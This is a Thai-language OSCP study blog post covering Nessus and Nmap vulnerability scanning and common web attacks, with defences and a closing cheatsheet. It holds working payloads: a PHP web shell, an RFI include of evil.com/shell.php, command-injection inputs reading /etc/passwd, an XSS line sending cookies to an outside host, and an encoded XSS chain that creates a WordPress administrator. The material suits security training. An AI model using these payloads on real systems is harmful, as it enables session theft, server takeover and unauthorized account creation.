My 2025 OSCP Journey Part 3 : Vulnerability Scanning & Web Application Attacks
Introduction
สวัสดีคุณผู้อ่านทุกท่านครับ
ยินดีต้อนรับทุกท่านกลับเข้าสู่ Blog series ของผมอีกครั้ง หลังจาก Part ที่ผ่านมาเราได้เริ่มที่จะเข้าสู่โลกแห่งเนื้อหาในเชิงเทคนิคอย่าง การหาและเก็บข้อมูล ซึ่งนับเป็นขั้นตอนแรกในการทำการทดสอบการเจาะระบบ
สำหรับคุณผู้อ่านท่านใดที่หลงเข้ามาใน Part นี้เป็นที่แรก ตัวผมนั้นภูมิใจและแนะนำเป็นอย่างยิ่ง ที่จะให้คุณผู้อ่านได้อ่าน Part 1 และ Part ก่อนหน้าอื่นๆก่อน เป็นการเริ่มต้น ตาที่อยู่ Link นี้เลยครับ: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-1 และ Welcome to My Journey ครับผม
ใน Part ที่ 3 นี้เราจะพูดถึงเรื่องขั้นตอนเชิงเทคนิคต่อๆไปหลังจากการหาและเก็บข้อมูล ซึ่งเช่นเดิม ตัวผมนั้นยินดีเป็นอย่างยิ่งที่จะเล่าให้ฟังครับ เพื่อไม่เป็นการเสียเวลาไปมากกว่านี้ เพราะฉะนั้น Enjoyครับ
Vulnerability Scanning
หลังจากขั้นตอนการหาและเก็บข้อมูลเสร็จสิ้น เรื่องต่อไปที่เราจะพูดถึงคือการการสแกนหาช่องโหว่ ขั้นตอนนี้เป็นขั้นตอนที่จำเป็นในการทำการทดสอบการเจาะระบบเพื่อให้ผู้ทดสอบการเจาะระบบสามารถระบุจุดอ่อนหรือการตั้งค่าที่ผิดพลาด(misconfiguration)ภายในระบบของเป้าหมาย ซึ่งภายในขั้นตอนการสแกนหาช่องโหว่ไม่ช่วยเพียงแค่การลำดับความสำคัญการแก้ไขและรับมือ แต่ยังช่วยหาข้อมูลเพื่อเป็นพื้นฐานในขั้นตอนการโจมตีช่องโหว่(exploitation)ต่อไป
Vulnerability Scanning Theory(ทฤษฎีการสแกนหาช่องโหว่)
การเข้าใจทฤษฎีเบื่องหลังการทำงานของการสแกนหาช่องโหว่นั้นจะเป็นกุญแจสำคัญที่จะทำให้ผู้ใช้ เลือกใช้และใช้ประโยชน์จากการสแกนหาช่องโหว่ให้ได้มีประสิทธิภาพสูงที่สุดนี่เป็นภาพรวมของกระบวนการสแกนหาช่องโหว่ทั้งหมด:
- จุดประสงค์: เป้าหมายคือการตรวจจับหาช่องโหว่ภายในระบบและเครือข่าย(network)โดยใช้เครื่องมือที่ทำงานด้วยตนเอง(Automated tools) และเพื่อให้เข้าใจถึงกระบวนการหรือประเภทของสิ่งที่เกี่ยวข้อง และ สิ่งที่เป็นปัจจัยสำคัญซึ่งควรคำนึงถึง
- การทำงานของเครื่องมือสแกนหาช่องโหว่:
- Host Discovery: ระบุ Host ที่เปิด(Active) โดยใช้วิธีการอย่าง ICMP pings(Internet Control Message Protocol) หรือ ARP scans(Address Resolution Protocol)
- Port Scanning: สแกนหา Port ที่เปิดเพื่อระบุ Service
- OS, Service, and Version Detection: ระบุ Operation System, Service และ Version ของเป้าหมายเพื่อหาช่องโหว่
- Matching Result to a Database: เปรียบเทียบข้อมูลที่ได้มาจากการสแกนกับช่องโหว่ที่ทราบ(e.g. CVE)
- False Positives and False Negative: ต้องเข้าใจว่าบางช่องโหว่อาจถูกตรวจพบหรือไม่ถูกตรวจพบโดยข้อพิดพลาด โดยสามารถพบเจอได้บ่อยอยู่ 2 ประเภทคือ:
- False Positive: Not but in (เมื่อสิ่งที่ไม่ใช่ถูกตรวจว่าใช่)
- False Negative: Yes but out (เมื่อสิ่งที่ใช่ถูกตรวจว่าไม่ใช่)
Types of Vulnerability Scans(ประเภทของการสแกนหาช่องโหว่)
ประเภทของการสแกนนั้นจะใช้ในวัตถุประสงค์ที่ต่างกันขึ้นอยู่กับขอบเขตและระดับของสิทธิ์การเข้าถึง:
- Internal Scans: การเข้าถึงช่องโหว่จากภายในเครือข่าย(Network)
- External Scans: ประเมินหรือสแกนจากระบบที่ซึ่งเปิดเผยเป็นสาธารณะ(Public-Facing System)จากภายนอกเครือข่าย
- Unauthenticated Scans: การสแกนโดยจำลองมุมมองของผู้โจมตีซึ่งไม่มีสิทธิ์การเข้าถึง
- Authenticated Scans: ใช้หรือมีสิทธิ์การเข้าถึงเพื่อทำการสแกนเพื่อหาข้อมูลเชิงลึก
- Specialized Scans:
- Web Applications: ตรวจหาปัญหาอย่าง SQL injection หรือ XSS
- VPN Configurations: ระบุช่องโหว่ จุดอ่อน ภายใน VPN(Virtual Private Network)
- DMZ Services: มุ่งเน้นไปที่ช่องโหว่ใน semi-trusted zones
สิ่งที่ควรคำนึงถึง: ตัวแปรหรือปัจจัยอาทิเช่น กฎของ Firewall, IPS(Intrusion Prevention System), Rate Limiting และ อุปกรณ์ตัวกลางเครือข่าย(e.g. Hub, Router) อาจส่งผลต่อผลของการสแกน
Vulnerability Scans with Nessus(การสแกนหาช่องโหว่ด้วย Nessus)
Nessus เป็นเครื่องมือที่ใช้งานอย่างแพร่หลายเพื่อทำการค้นหาและรายงานช่องโหว่ และด้วยคุณสมบัติของตัวมันเองนั้นทำให้ Nessus เป็นเครื่องมือที่ขาดไม่ได้และจำเป็นในการระบุช่องโหว่ในเชิงลึก:
-
Component(ส่วนประกอบ):
- Nessus Scanner: ใช้ทำการสแกน
- Nessus Manager: ใช้จัดการหน่วยการสแกนหลายตัว
- Nessus Agents: เครื่องมือควบคุมการสแกน
-
Configuring a Scan(ตั้งค่าการสแกน):
- Set Up a Scan: เลือกประเภทการสแกน (e.g. Internal, External, Web Application)
- Specify Targets: ระบุ ระยะของ IP, URL, หรือ Subnet เพื่อ scan
- Select Plugins: เปิดใช้งาน Plugin สำหรับช่องโหว่เฉพาะ
- Schedule Scans: ลดการหยุดชะงักให้น้อยที่สุด โดยการจัดตาราง(Schedule)การสแกนระหว่างช่วงเวลาการทำงานเบา(Low-Activity Period)
-
Working with Results(ทำงานกับผลที่ได้):
- Interpreting Reports: วิเคราะห์ช่องโหว่บนพื้นฐานของระดับความรุนแรง(Critical, High, Medium, Low)
- Exporting Reports: เผยแพร่สิ่งที่ค้นพบในรูปแบบ PDF หรือ CSV
การสแกนแบบใช้สิทธิ์**(Authenticated Scans)ทำให้ผู้ทดสอบการเจาะระบบสามารถทำการวิเคราะห์เชิงลึกได้โดยใช้สิทธิ์ที่มีเพื่อระบุช่องโหว่ภายใน
ตัวอย่างรายงานการสแกนช่องโหว่ด้วย Nessus:
Figure 1 : ตัวอย่างผลการสแกนหาช่องโหว่ด้วย Nessus
Vulnerability Scans with Nmap(การสแกนหาช่องโหว่ด้วย Nmap)
อย่างที่เราทราบจาก Part ที่ 2 ในบท การหาและเก็บข้อมูล(Information Gathering)https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-2 ว่า Nmap นั้นเป็นเครื่องมือเพื่อใช้ในการสแกน Port ซึ่งมากยิ่งไปกว่านั้น Nmap ยังสามารถใช้ในการสแกนหาช่องโหว่ได้อย่างมีประสิทธิภาพอย่างมากอีกด้วย โดยการใช้ Nmap Scripting Engine(NSE) หรือการระบุการทำงานของ Nmap โดยมีสคริปต์นั่นเอง ซึ่งการทำงานจะทำงานด้วยตนเอง(Automate)เช่นกัน:
- Common NSE Scripts(สคริปต์NSEที่พบได้บ่อย):
>ssl-enum-ciphers \\ใช้ตรวจสอบการตั้งค่า SSL/TLS
>http-vuln-cve \\ใช้สแกนหา CVE บนเว็บเซิร์ฟเวอร์
>smb-vuln-ms17-010 \\ใช้ตรวจสอบช่องโหว่ EternalBlue ใน SMB
ตัวอย่างการใช้งาน:
>nmap --script ssl-enum-ciphers -p 443 <taget's IP>
และตัวอย่างผลการสแกน:
StartingNmap7.94(https://nmap.org)at2025\-02-1314:32UTC
Nmapscanreportforexample-target.com(192.168.45.100)
Hostisup(0.053slatency).
PORT STATESERVICE
443/tcpopen https
| ssl-enum-ciphers:
| TLSv1.0:
| ciphers:
| TLS\_RSA\_WITH\_AES\_128\_CBC\_SHA (rsa 2048) - WEAK
| TLS\_RSA\_WITH\_AES\_256\_CBC\_SHA (rsa 2048) - WEAK
| compressors:
| NULL
| cipher preference: client
| warnings:
| 64-bit block cipher 3DES vulnerable to SWEET32 attack
| TLS 1.0 deprecated since June 30, 2018 (PCI DSS compliance)
|
| TLSv1.1:
| ciphers:
| TLS\_RSA\_WITH\_AES\_128\_CBC\_SHA (rsa 2048) - WEAK
| TLS\_RSA\_WITH\_AES\_256\_CBC\_SHA (rsa 2048) - WEAK
| compressors:
| NULL
| cipher preference: client
| warnings:
| TLS 1.1 deprecated since June 30, 2018 (PCI DSS compliance)
|
| TLSv1.2:
| ciphers:
| TLS\_ECDHE\_RSA\_WITH\_AES\_128\_GCM\_SHA256 (secp256r1) - STRONG
| TLS\_ECDHE\_RSA\_WITH\_AES\_256\_GCM\_SHA384 (secp256r1) - STRONG
| TLS\_DHE\_RSA\_WITH\_AES\_128\_GCM\_SHA256 (dh 2048) - STRONG
| TLS\_DHE\_RSA\_WITH\_AES\_256\_GCM\_SHA384 (dh 2048) - STRONG
| compressors:
| NULL
| cipher preference: server
|
| TLSv1.3:
| ciphers:
| TLS\_AES\_128\_GCM\_SHA256 (secp256r1) - STRONG
| TLS\_AES\_256\_GCM\_SHA384 (secp256r1) - STRONG
| TLS\_CHACHA20\_POLY1305\_SHA256 (secp256r1) - STRONG
| cipher preference: server
|
|\_ Least strength: WEAK (TLS 1.0, TLS 1.1)
Nmap done: 1 IP address (1 host up) scanned in 9.23 seconds
Codeblock 1: ตัวอย่างผลการสแกนหาช่องด้วย Nmap โดย ssl-enum-ciphers
- Managing NSE Scripts(การจัดการสคริปต์ NSE ):
- Locate Scripts: สามารถหาที่อยู่ของสคริปต์ได้ที่ Nmap’s script Directory(Default : /usr/share/nmap/scripts)(Kali linux)
- Update Scripts: ทำให้มั่นใจได้ว่าอัปเดตสคริปต์อยู่เสมอ
- Run Scripts: ใช้ได้ผ่าน flag: --script เพื่อระบุสคริปต์หรือประเภท
Introduction to Web Application Attacks
หลังจากที่เราผ่านหลายๆบทในคอร์ส Offsec Pen-200 มานั้น ตอนนี้เราได้มาถึงบทที่มีความเป็น Dynamic มากที่สุด หรือเป็นบทที่มีความหลากหลาย ต้องมีการปรับเปลี่ยนให้เข้ากับสถานการณ์อยู่ตลอดเวลา และยังเป็นบทหรือหัวข้อที่ส่งผลกระทบอย่างมากในเรื่องความมั่นคงและปลอดภัยทางไซเบอร์ Web Application Attack(การโจมตีบนเว็บแอปพลิเคชัน)
การโจมตีนี้มีเป้าหมายอยู่ที่ฟังก์ชันและกระบวนการขั้นตอนการทำงานของระบบซึ่งเป็น Web-based ทำให้มีความจำเป็นอย่างยิ่งที่จะต้องทำความเข้าใจถึง วิธีการ เครื่องมือ และ ช่องโหว่ที่พบได้บ่อย ซึ่งความรู้เหล่านี้จะเป็นกุญแจสำคัญที่จะทำให้เว็บแอปพลิเคชันนั้นปลอดภัย
Web Application Assessment Methodology(วิธีการประเมินเว็บแอปพลิเคชัน)
การเข้าถึงหรือทดสอบอย่างมีรูปแบบนั้นมีความสำคัญในการระบุช่องโหว่และประเมินระดับความปลอดภัยของเว็บแอปพลิเคชัน ซึ่งวิธีการนั้นมีขั้นตอนอยู่หลายประการ:
- Defining the Scope: กำหนดขอบเขตของเว็บแอปพลิเคชันที่จะทำการทดสอบอย่างชัดเจน รวมถึงส่วนประกอบของ front-end API ลำดับขั้นตอนของการยืนยันสิทธิ์การเข้าถึง(Authentication flows) ได้รับการอนุญาตในการทสอบการเจาะระบบ ทำความเข้าใจให้ตรงกันถึงขอบเขตการทดสอบ
- Learning About the OWASP TOP 10: OWASP TOP 10 ระบุถึง 10 ช่องโหว่ร้ายแรง อาทิเช่น Injection Attack, Broken Authentication, Cross-Site Scripting(XSS) และ Security Misconfiguration การเข้าใจและทราบถึงสิ่งเหล่านี้ทำให้การทดสอบมีประสิทธิภาพมากยิ่งขึ้น สามารถหาข้อมูลเพิ่มเติมได้ที่:OWASP Top 10
Web Application Assessment Tools(เครื่องมือในการประเมินเว็บแอปพลิเคชัน)
การทดสอบและการหาข้อมูลในเว็บแอปพลิเคชันนั้นต้องการ การทำงานร่วมกันของหลายเครื่องมือในการระบุช่องโหว่ ซึ่งขั้นตอนนี้จะมีแนวคิดคล้ายคลึงกันกับขั้นตอนการหาและเก็บข้อมูล(Informaiton Gathering) และนี่เป็นภาพรวมโดยสังเขป:
-
Enumeration Techniques(เทคนิคการหาและเก็บข้อมูล):
- Directory Brute-Forcing: เราสามารถใช้ Gobusterและ Dirbเพื่อเปิดเผย Directoryที่ซ่อนอยู่ได้
- Technology Identification: เราสามารถใช้ Wappalyzerซึ่งเป็น extension เพื่อระบุประเภทเทคโนโลยีต่างๆและ Framework ที่เว็บเป้าหมายใช้ได้
- Subdomain Enumeration: เราสามารถใช้ Sublist3r เชื่อมหา Subdomain และทำ Broader Attack Surface ได้
Figure 2 : ผลการสแกนจาก Wappalyzer เพื่อระบุประเภทเทคโนโลยีต่างๆ
- Web Proxies:
Proxies อย่าง Burp Suite สามารถดักจับและวิเคราะห์ HTTP/HTTPS traffic ระหว่างฝั่ง Client หรือผู้ใช้และ เซิร์ฟเวอร์ได้ ซึ่งความสามารถหลักๆมีดังนี้: - Intercept Mode: ดักจับและแก้ไข HTTP/HTTPS Request - Repeater: ทดสอบ Request ที่ถูกแก้ไข - Intruder: ทำการทดสอบ Payload โดยอัตโนมัติเพื่อหาช่องโหว่ - Scanner: สแกนเพื่อระบุปัญหาทั่วไป อาทิเช่น SQLi หรือ XSS
Figure 3 : การตั้งค่า Proxies ผ่าน FoxyProxy Extension
Figure 4 : ตัวอย่างผลการดักจับ HTTP/HTTPS traffic
เครื่องมืออื่นๆที่ได้รับความนิยม: - Nmap: เพื่อระบุ Port ที่เปิดและ Service ของ Port - Gobuster: Brute-forcing เพื่อหา Directory ของเว็บแอปพลิเคชัน - Postman: เพื่อทำการทดสอบ API
Web Application Enumeration(การหาและเก็บข้อมูลบนเว็บแอปพลิเคชัน)
การหาและการเก็บข้อมูลเป็นหนึ่งในขั้นตอนการประเมินหาพื้นที่ที่จะทำการทดสอบการโจมตีบนเว็บแอปพลิเคชั่น ซึ่งจะประกอบไปด้วย การวิเคราะห์ Source code, cookies, และ APIs เพื่อหาช่องโหว่
- Inspect Source Code: มองหา Comments ที่มีประโยชน์ภายใน Code, Credentials ที่ถูกเปิดเผยภายใน Code หรือฟังก์ชัน JavaScript ที่ไม่ถูกใช้งานซึ่งอาจใช้เพื่อเปิดเผยข้อมูลได้
- Analyze Headers and Cookies:
- Header: ตรวจสอบ หัว หรือ Header ที่เกี่ยวกับความปลอดภัย อาทิเช่น Content-Security-Policy, X-Frame-Options, และ Strict-Transport-Security
- Cookies: ทำให้มั่นใจว่า Attribute อย่าง HttpOnly, Secure, และ SameSite นั้นตั้งค่าเพื่อป้องกันการโจมตีอย่าง XSS หรือ Session Hijacking
- API Testing: ใช้เครื่องมืออย่าง Postman หรือ Burp Suite เพื่อระบุหา การควบคุมสิทธิ์ที่ใช้การไม่ได้(Broken Access Controls), Improper rate limiting, และ การเปิดเผย Error Message
Figure 5 : ตัวอย่างการดู Source code เพื่อหาช่องโหว่
(Note: ในตัวอย่างมีการกำหนดค่า query ก่อนที่จะส่งหาผู้ใช้ ซึ่งเราสามารถทำการโจมตีแบบ XSS ได้)
Cross-Site Scripting(XSS)
การโจมตีแบบ XSS นั้นเป็นรูปแบบการโจมตีบนเว็บแอปพลิเคชันที่พบได้มากที่สุด โดยการโจมตีแบบ XSS นั้นทำให้ผู้โจมตีระบบสามารถปล่อย(Inject) สคริปต์ที่เป็นอันตราย(Malicious Scirpt/Payload)เข้าสู่หน้าเว็บที่เห็นโดยผู้ใช้คนอื่น ซึ่งสคริปต์อาจสามารถ ขโมยข้อมูล ยึดSession หรือ กระทำสิ่งที่เป็นอันตรายได้
- ประเภทของ XSS:
- Stored XSS: สคริปต์ที่เป็นอันตรายจะถูกเก็บไว้บนเซิร์ฟเวอร์และส่งหาผู้ใช้
- Reflected XSS: สคริปต์ที่เป็นอันตรายจะถูกส่งไปพร้อมกับ HTTP/HTTPS Request และ แสดงผลของการโจมตีผ่าน Responses
- DOM-Based XSS: สคริปต์ที่เป็นอันตรายจะถูกสั่งให้ทำงานผ่านเบราว์เซอร์โดย Client-side script(สคริปต์ที่ทำงานในฝั่งของผู้ใช้)
- ระบุช่องโหว่สำหรับ XSS: มองหาพื้นที่สำหรับใส่ข้อมูล(Input field)ที่สามารถแสดงหรือจัดเก็บข้อมูลอย่างไม่ถูกต้อง โดยทั่วไปแล้วสามารถทำให้เกิดพฤติกรรมที่ผิดปกติ(Error)โดยการใช้ตัวอักษรพิเศษ อาทิเช่น < > ‘ “ { } ; เป็นต้น
ตัวอย่าง Payload ในการหาผลประโยชน์จากช่องโหว่ XSS:
<script>alert('XSS')</script>
- ตัวอย่างการเพิ่มสิทธิ์การเข้าถึงผ่าน XSS:
- ผู้โจมตีสามารถขโมย Session Cookie หรือ Token เพื่อทำการเพิ่มสิทธิ์การเข้าถึง
- ทำการRedirectผู้ใช้อื่นไปยังหน้าเว็บที่เป็นอันตรายเพื่อขโมยข้อมูลสำคัญหรืออื่นๆ
- ทำการ Alert หน้าเว็บ(เหมือนในตัวอย่าง)เพื่อทำการโจมตีแบบ Phishing ได้
Figure 6 : ตัวอย่างการทำ XSS ผ่านช่องโหว่ตัวแปร query ด้วย <script>alert("Hello, world!")</script>
Common Web Application Attacks
อย่างที่น่าจะทราบกันดีแล้วจากหัวข้อที่ผ่านมาว่า การโจมตีเว็บแอปพลิเคชันนั้นเป็นการโจมตีที่ส่งผลอย่างมากในหลายๆด้าน ซึ่งการโจมตีนี้จะมุ่งเน้นไปที่ฟังก์ชัน ระบบการจัดการไฟล์ภายในเว็บ(File Handling) และขั้นตอนการตรวจสอบข้อมูลที่ถูกนำเข้าโดยผู้ใช้(Input Validation Mechanism) ซึ่งส่วนใหญ่จะถูกนำมาหาผลประโยชน์ผ่าน การตั้งค่าที่ผิดพลาด และทักษะการเขียน Code ที่ไม่เพียงพอ
และนี่เป็นตัวอย่างรูปแบบการโจมตีบนเว็บแอปพลิเคชันที่พบเห็นได้บ่อย:
- SQL Injection(SQLi): หาประโยชน์จากช่องโหว่ผ่านพื้นที่การนำข้อมูลเข้า(Input Field)โดยการใช้คำสั่ง SQL เพื่อดึงข้อมูลผ่าน Database โดยไม่มีสิทธิ์การเข้าถึง
- Cross-Site Scripting(XSS): ปล่อยสคริปต์ที่เป็นอันตรายเข้าสู่หน้าเว็บที่เห็นโดยผู้ใช้อื่น
- Broken Authentication: เป้าหมายคือการจัดการSessionหรือลำดับการยืนยันสิทธิ์การเข้าถึงที่ไม่ดี
- Security Misconfiguration: เปิดเผย Default Credentials หรือ Service ที่ไม่สำคัญ
- File Upload Exploits: ทำให้ผู้โจมตีอัปโหลดไฟล์ที่เป็นอันตรายเข้าสู่ระบบได้
- Cross-Site Request Forgery(CSRF): หลอกผู้ใช้อื่นให้ทำการกระทำที่ไม่ต้องการบนแอปพลิเคชัน
- Directory Traversal: หาประโยชน์จากข้อผิดพลาดเพื่อเข้าถึง Directory หรือ Files ในเซิร์ฟเวอร์
- Remote File Inclusion(RFI): ปล่อยรีโมทสคริปต์เข้าไปในแอปพลิเคชัน
- Local File Inclusion(LFI): หาประโยชน์จากช่องโหว่เพื่อทำให้ไฟล์ใน Local เซิร์ฟเวอร์ทำงาน
Directory Traversal(การเดินทางผ่าน Directory)
การโจมตีแบบ Directory Traversal นั้นรู้จักกันในอีกชื่อว่า “Path Traversal Attack” ซึ่งสามารถหาผลประโยชน์ได้จากระบบจัดการ File Paths ในเว็บแอปพลิเคชันที่ไม่ปลอดภัยเพื่อเข้าถึงไฟล์ต่างๆ หรือ Path ที่ไม่ควรเข้าถึงได้
โดยสามารถแยกประเภท Path ออกได้เป็น 2 ประเภท:
- Absolute & Relative Path:
- Absolute Path: เป็นการเจาะจง Path แบบชัดเจนจาก Root Directory ตัวอย่าง:
/var/www/html/file.txt
- Relative Path: เป็นการอ้างอิงถึงตำแหน่งของไฟล์จาก Directory ล่าสุด
ตัวอย่าง:
../../etc/passwd
- การระบุหาช่องโหว่:
- ตรวจสอบหา Endpoints ที่รับ File Paths เป็น ตัวแปร(Parameter)
- หลังจากพบ ทำการทดสอบ Payload อาทิเช่น:
>../../../etc/passwd (Unix)
>..\\..\\windows\\system32\\driver\\etc\\hosts (Windows)
- Encoding Special Character(การเข้ารหัสตัวอักษรพิเศษเพื่อหลบการตรวจ input):
- URL encoding: >..%2F..%2Fetc%2Fpasswd =>../../etc/passwd
- Double encoding: >%25%32%46 =>/หลังจากเข้ารหัสสองครั้ง
- Unicode encoding: >%u002E%u002E%u002F => ../
Figure 7 : ตัวอย่างการทำ Directory Traversal ด้วย ../../../../etc/passwd
วิธีการป้องกัน:
- ตรวจสอบการนำข้อมูลเข้าจากผู้ใช้(User input)
- ใช้ Sandbox หรือ Whitelist ในการเข้าถึง Directory
- ใช้ APIs ที่ปลอดภัยในการจัดการไฟล์
File Inclusion Vulnerabilities
ช่องโหว่ File Inclusion เกิดขึ้นเมื่อแอปพลิเคชันรวมไฟล์ภายนอกเข้ามาในการดำเนินการโดยไม่ได้มีการตรวจสอบ โดยที่ช่องโหว่นี้ทำให้ผู้โจมตีสามารถเปิดการใช้งาน Code โดยพลการ และ เข้าถึงไฟล์ที่ไม่ควรเข้าถึงได้หรือยึดสิทธิ์การควบคุมเซิร์ฟเวอร์
โดยสามารถแบ่งออกได้หลายประเภท:
- Local File Inclusion (LFI):
- หาผลประโยชน์จากฟังก์ชันการรวมไฟล์จากไฟล์ภายในระบบ(Local filesystem) ตัวอย่าง:
?page=../../etc/passwd
- โดยอาจใช้ null byte injection (%00) เพื่อหลบการตรวจสอบ file extension ได้
- PHP Wrappers:
- ผู้โจมตีสามารถใช้ PHP stream wrapper เพื่ออ่านไฟล์หรือเปิดการทำงานของ Code
- php://input > รวมข้อมูล Raw POST เป็นสคริปต์ PHP
- php://filter > อ่านไฟล์ด้วยการเข้ารหัส มีประโยชน์ในการหลบการตรวจจับ ตัวอย่าง:
?file=pgp://filter/convert.base64-encode/resource=../../etc/passwd
- Remote File Inclusion (RFI):
- หาผลประโยชน์จากฟังก์ชันการรวมไฟล์จากไฟล์เซิร์ฟเวอร์ Remote ตัวอย่าง:
?file=http://evil.com/shell.php
วิธีการป้องกัน:
- ปิดการใช้งานฟังก์ชัน File Inclusion อาทิเช่น allow_url_include
- ใช้เพียง Absolute Paths ในการพัฒนา และ ทำการตรวจสอบ Input
File Upload Vulnerabilities(ช่องโหว่การอัปโหลดไฟล์)
ช่องโหว่การอัปโหลดไฟล์เกิดขึ้นเมื่อผู้โจมตีทำการหาผลประโยชน์จากฟังก์ชันการอัปโหลดไฟล์เพื่ออัปโหลดไฟล์ที่เป็นอันตรายหรือไฟล์ที่ไม่คาดคิดเข้าสู่เว็บแอปพลิเคชัน โดยสามารถแบ่งออกได้เป็น 2 ประเภทหลักๆ:
- Executable Files(ไฟล์ที่สามารถเปิดการใช้งานได้):
- ผู้โจมตีทำการอัปโหลดไฟล์หรือสคริปต์เพื่อสั่งให้ทำงานคำสั่งบนเซิร์ฟเวอร์
ตัวอย่าง:
- อัปโหลด malicious.php:
- ผู้โจมตีทำการอัปโหลดไฟล์หรือสคริปต์เพื่อสั่งให้ทำงานคำสั่งบนเซิร์ฟเวอร์
ตัวอย่าง:
<?phpsystem($\_GET['cmd']);?>
- สั่งให้ทำงานโดย:
http://target/malicious.php?cmd=whoami
-
Non-Executable Files(ไฟล์ที่ไม่สามารถเปิดการใช้งานได้):
- อัปโหลดไฟล์เช่น .txt หรือ .jpg โดยบรรจุ Payload ที่สามารถใช้หาผลประโยชน์ได้ วิธีการป้องกัน:
-
อนุญาตให้เฉพาะประเภทไฟล์ที่ได้รับการอนุญาต(whitelist)
-
เก็บไฟล์ไว้ให้ Directory ที่มีการจำกัดสิทธิ์การเข้าถึง
-
ทำการเปลี่ยนชื่อไฟล์ที่อัปโหลดและเลี่ยงการเก็บไฟล์ไว้ใน Directory ที่เว็บเข้าถึงได้
Command Injection
ช่องโหว่ Command Injectionนั้นทำให้ผู้โจมตีสามารถเปิดการทำงานของคำสั่งในระบบ(System Command)ได้โดยการรับข้อมูล(Input)ที่ไม่ปลอดภัย
- การโจมตีช่องโหว่(Exploitation):
- ตัวอย่าง Payload:
Linux: > ; ls -la or && whoami
Windows: > & dir or | ipconfig
- ตัวอย่าง Code:
$output= shell\_exec("ping". $\_GET['ip']);
Input: 127.0.0.1; cat /etc/passwd
วิธีการป้องกัน:
- ใช้ parameterized APIs
- ตรวจสอบการนำข้อมูลเข้าจากผู้ใช้(User input)
- ใช้งาน Whitelist หรือ Blacklist ในการนำข้อมูลเข้า(input)
Wrapping Up
และตอนนี้ผมคิดว่านี่เป็นเวลาและเนื้อหาอันเหมาะสมที่จะจบ Part นี้ของเรา ซึ่งใน Part นี้ก็ได้ครอบคลุมในเนื้อหาที่เป็นเนื้อหาเชิงเทคนิคล้วนๆ โดยประกอบไปด้วย การสแกนหาช่องโหว่ บทนำสู่การโจมตีบนเว็บแอปพลิเคชัน การโจมตีบนเว็บแอปพลิเคชันที่พบเห็นได้บ่อย
ถ้าคุณผู้อ่านท่านใดที่อ่านมาถึงจุดนี้หรือไม่ถึงก็ตาม ตัวผมนั้นก็ขอขอบคุณเป็นอย่างยิ่งและก็หวังเป็นอย่างมากว่าคุณผู้อ่านจะได้พบกับสิ่งที่ตัวเองตามหาไม่มากก็น้อยใน blog หรือบทความนี้และต่อๆไป
และเช่นเดิม ใน blog หน้าจะเป็นเนื้อหาในบทต่อๆไปที่เราจะต้องเจอในคอร์ส Offsec Pen-200. Stay Tuned, Stay Safe, Try Harder!, until next time สวัสดีครับ
และสำหรับผู้ที่สนใจ Cheatsheet
สามารถดูต่อด้านล่างได้เลยครับผม 🙂🙏
Command Cheatsheet with Additional Description
CC_Web Application Attack(การโจมตีบนเว็บแอปพลิเคชัน)
Burp Suite(Hotkey หรือคีย์ลัดที่มีโอกาสได้ใช้บ่อย):
Ctrl+r // Sending request to repeater
Ctrl+i // Sending request to intruder
Ctrl+Shift+b // base64 encoding
Ctrl+Shift+u // URL decoding
Cross-Site Scripting(XSS)(สคริปต์พื้นฐานที่มีโอกาสได้ใช้บ่อยและนำไปต่อยอดได้):
<sCrIpt>alert(1)</ScRipt>
<script>alert('XSS');</script>
<script>alert(document.cookies)</script>
<script>document.querySelector('#foobar-title').textContent = '<TEXT>'</script>
<script>fetch('https://<RHOST>/steal?cookie=' + btoa(document.cookie));</script>
<script>user.changeEmail('user@domain');</script>
<iframe src=file:///etc/passwd height=1000px width=1000px></iframe>
<img src='http://<RHOST>'/>
- Example of XSS Client-Side Attack
ตัวอย่าง Request:
<a href="http://<RHOST>/send\_btc?account=<USERNAME>&amount=100000"">foobar!</a>
ตัวอย่าง Payload สำหรับดัก HTTP request และหา Nonce โดยการใช้ XMLHttpRequestในการดัก:
varajaxRequest = newXMLHttpRequest();varrequestURL = "/wp-admin/user-new.php";
varnonceRegex = /ser" value="([^"]\*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
varnonceMatch = nonceRegex.exec(ajaxRequest.responseText);varnonce = nonceMatch[1];
ทำการ Modify Payload:
varparams = "action=createuser&\_wpnonce\_create-user="+nonce+"&user\_login=<USERNAME>&email=<EMAIL>&pass1=<PASSWORD>&pass2=<PASSWORD>&role=administrator";
ajaxRequest = newXMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
ใช้ https://jscompress.com/ทำการบีบอัดสคริปต์ Payload ไว้ในตัวแปร params:
varparams="action=createuser&\_wpnonce\_create-user="+nonce+"&user\_login=<USERNAME>&email=<EMAIL>&pass1=<PASSWORD>&pass2=<PASSWORD>&role=administrator";ajaxRequest=newXMLHttpRequest,ajaxRequest.open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);
ใช้ฟังก์ชันด้านล่างในการเข้ารหัสเพื่อหลีกเลี่ยงการโดนตรวจจับ:
function encode\_to\_javascript(string) { varinput = string varoutput = ''; for(pos = 0; pos < input.length; pos++) {
output += input.charCodeAt(pos); if(pos != (input.length - 1)) {
output += ",";
}
} returnoutput;
} letencoded = encode\_to\_javascript('var params="action=createuser&\_wpnonce\_create-user="+nonce+"&user\_login=<USERNAME>&email=<EMAIL>&pass1=<PASSWORD>&pass2=<PASSWORD>&role=administrator";ajaxRequest=new XMLHttpRequest,ajaxRequest.open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);')
console.log(encoded)
สคริปต์ Payload หลังจากเข้ารหัส:
